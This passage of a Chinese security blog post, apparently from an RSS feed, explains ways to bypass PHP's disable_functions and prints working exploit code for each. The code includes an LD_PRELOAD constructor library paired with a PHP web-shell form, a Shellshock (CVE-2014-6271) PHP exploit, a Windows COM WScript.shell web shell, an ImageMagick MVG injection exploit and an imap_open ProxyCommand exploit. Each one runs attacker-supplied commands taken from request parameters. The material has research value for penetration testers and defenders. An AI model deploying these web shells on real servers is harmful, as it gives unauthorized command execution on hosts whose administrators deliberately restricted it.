<pre><code class="language-c ">#define _GNU_SOURCE                                                                                                                                                                 #include &lt;stdlib.h>                                                                       #include &lt;stdio.h>                                                                       #include &lt;string.h>                                                                                                                                                                 __attribute__ ((__constructor__)) void preload (void)
{
    unsetenv(&quot;LD_PRELOAD&quot;);
    system(&quot;whoami > /tmp/user&quot;);
}
</code></pre>
<p><strong>完整实现</strong></p>
<blockquote><p>
  简单修改了下PHP脚本.
</p></blockquote>
<pre><code class="language-c ">/* hack.c */

#define _GNU_SOURCE

#include &lt;stdlib.h>
#include &lt;stdio.h>
#include &lt;string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // 这里是通过PHP putenv获取的环境变量来达到动态执行系统命令
    const char* bashshell = getenv(&quot;EVIL_CMDLINE&quot;);

    // 注销掉环境变量
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], &quot;LD_PRELOAD&quot;)) {
                    environ[i][0] = ' ';
            }
    }

    // executive command
    system(bashshell);
}

</code></pre>
<pre><code class="language-php ">/* bypass.php */

&lt;?php  
$shell = $_POST['shell'] . &quot; > /tmp/xx 2>&amp;1&quot;;                                             putenv(&quot;SHELL=&quot; . $shell);                                                               putenv(&quot;LD_PRELOAD=./bypass.so&quot;);                                                         mail(&quot;&quot;, &quot;&quot;, &quot;&quot;, &quot;&quot;);                                                                                                                                                               ?>                                                                                       &lt;html>                                                                                   &lt;head>                                                                                   &lt;meta charset=&quot;utf-8&quot;>                                                                   &lt;/head>                                                                                   &lt;body bgcolor=&quot;#3c3f42&quot;>                                                                 &lt;form action=&quot;&quot; method=&quot;post&quot;>                                                           &lt;input name=&quot;shell&quot;>&lt;input type=&quot;submit&quot; value=&quot;go&quot;>                                     &lt;/form>                                                                                   &lt;?php echo &quot;&lt;pre style='color: #00fe00'>>  &quot;.nl2br(file_get_contents('/tmp/xx')).&quot;&lt;/pre>&quot;;unlink('/tmp/xx');?>                                                             &lt;/body>                                                                                   &lt;/html>
</code></pre>
<p><img src="/wp-content/uploads/2019/09/k5ePZKxzuU1XgqM-1.png" alt="" /></p>
<ul>
<li>后期有时间再改改吧，感觉还是不是特别方便使用。</li>
</ul>
<hr />
<h4>利用Bash破壳漏洞（CVE-2014-6271）绕过</h4>
<blockquote><p>
  直接看代码吧，利用破壳漏洞，没什么过多解释的。
</p></blockquote>
<pre><code class="language-php ">&lt;?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net/ 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(&quot;.&quot;,&quot;data&quot;); 
   putenv(&quot;PHP_LOL=() { x; }; $cmd >$tmp 2>&amp;1&quot;); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail(&quot;a@127.0.0.1&quot;,&quot;&quot;,&quot;&quot;,&quot;&quot;,&quot;-bv&quot;); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != &quot;&quot;) return $output; 
   else return &quot;No output, or not vuln.&quot;; 
} 
echo shellshock($_REQUEST[&quot;cmd&quot;]); 
?
</code></pre>
<hr />
<h4>Windows下的Bypass</h4>
<p><strong>利用Windows系统组件COM绕过</strong></p>
<blockquote><p>
  Windows系统组件COM在Windows默认就存在，是位于System32目录下的wshom.ocx文件。（windows下的bypass方法比较少。）
</p></blockquote>
<pre><code class=""># 去掉php.ini中 com.allow_dcom前面的分号;。
; allow Distributed-COM calls
; http://php.net/com.allow-dcom
com.allow_dcom = true

# 在php/ext/中查找php_com_dotnet.dll是否存在，并去掉php.ini中extension=php_com_dotnet.dll前面的分号。
# 查看phpinfo确认开启
</code></pre>
<p><img src="/wp-content/uploads/2019/09/YATNzRJx8yGt96c-1.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/09/S3hFkmEueYid6cP-1.png" alt="" /></p>
<p><strong>POC</strong></p>
<pre><code class="language-php ">&lt;?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象　Shell.Application也能
$exec = $wsh->exec(&quot;cmd /c&quot;.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
</code></pre>
<p><img src="/wp-content/uploads/2019/09/Jehzl3W4ngPNwT5-1.png" alt="" /></p>
<hr />
<h4>利用ImageMagick绕过</h4>
<blockquote><p>
  利用了ImageMagick的rce漏洞，直接附exp吧。
</p></blockquote>
<pre><code class="language-php ">&lt;?php
echo &quot;Disable Functions: &quot; . ini_get('disable_functions') . &quot;n&quot;;
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}
$exploit = &lt;&lt;&lt;EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg&quot;|$command&quot;)'
pop graphic-context
EOF;
file_put_contents(&quot;KKKK.mvg&quot;, $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink(&quot;KKKK.mvg&quot;);
unlink(&quot;KKKK.png&quot;);
?>
</code></pre>
<hr />
<h4>利用imap_open()绕过</h4>
<blockquote><p>
  同样并非默认安装的组件，简单的记录一下好了。
</p></blockquote>
<pre><code class="">imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = array() ]]] ) : resource
</code></pre>
<pre><code class="">利用的简单原理：
在没有禁用enable_insecure_rsh选项的条件下，用户通过传入mailbox参数可导致rce。
该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接，则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能，攻击者可利用这些功能在目标系统上执行任意shell命令。

*以上引用的尾部链接中的话。
</code></pre>
<pre><code class="language-php ">/* exp */
&lt;?php
error_reporting(0);
if (!function_exists('imap_open')) {
        die(&quot;no imap_open function!&quot;);
}
$server = &quot;x -oProxyCommand=echot&quot; . base64_encode($_GET['cmd'] . &quot;>/tmp/cmd_result&quot;) . &quot;|base64t-d|sh}&quot;;
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . &quot;>/tmp/cmd_result&quot;) . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump(&quot;nnError: &quot;.imap_last_error());
sleep(5);
echo file_get_contents(&quot;/tmp/cmd_result&quot;);
?>
</code></pre>
<p>分析：<a href="https://xz.aliyun.com/t/4113">如何在PHP安装中绕过disable_functions</a></p>
<h4>利用PHP 7.4 FFI绕过</h4>
<pre><code class="">FFI（Foreign Function Interface），即外部函数接口，允许从用户区调用C代码。简单地说，就是一项让你在PHP里能够调用C代码的技术。
可以通过php代码调用C的system函数。
</code></pre>
<p><a href="[https://www.mi1k7ea.com/2019/06/07/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8BPHP7-4%E7%9A%84FFI%E7%BB%95%E8%BF%87disable-functions/](https://www.mi1k7ea.com/2019/06/07/从一道题看PHP7-4的FFI绕过disable-functions/)">从RCTF nextphp看PHP7.4的FFI绕过disable_functions</a></p>
<h4>推荐一个不错的项目</h4>
<blockquote><p>
  自己想写个类似的，已经写了一部分，结果写文章的时候发现l3m0n师傅已经写好了。
</p></blockquote>
<p>Github: <a href="https://github.com/l3m0n/Bypass_Disable_functions_Shell">Bypass_disablefunc</a></p>
<h4>后话</h4>
<p>dl()函数再php5.3后面的版本被移除了，所以文章没有提及。</p>
<h3>参考</h3>
<p><a href="https://www.anquanke.com/post/id/175403#h2-5">深入浅出LD_PRELOAD &amp; putenv()</a></p>
<p><a href="https://blog.csdn.net/haoel/article/details/1602108">警惕UNIX下的LD_PRELOAD</a></p>
<p><a href="https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html">PHP Execute Command Bypass Disable_functions</a></p>
<p><a href="[https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/](https://www.mi1k7ea.com/2019/06/02/浅谈几种Bypass-disable-functions的方法/)">浅谈几种Bypass-disable-functions的方法</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
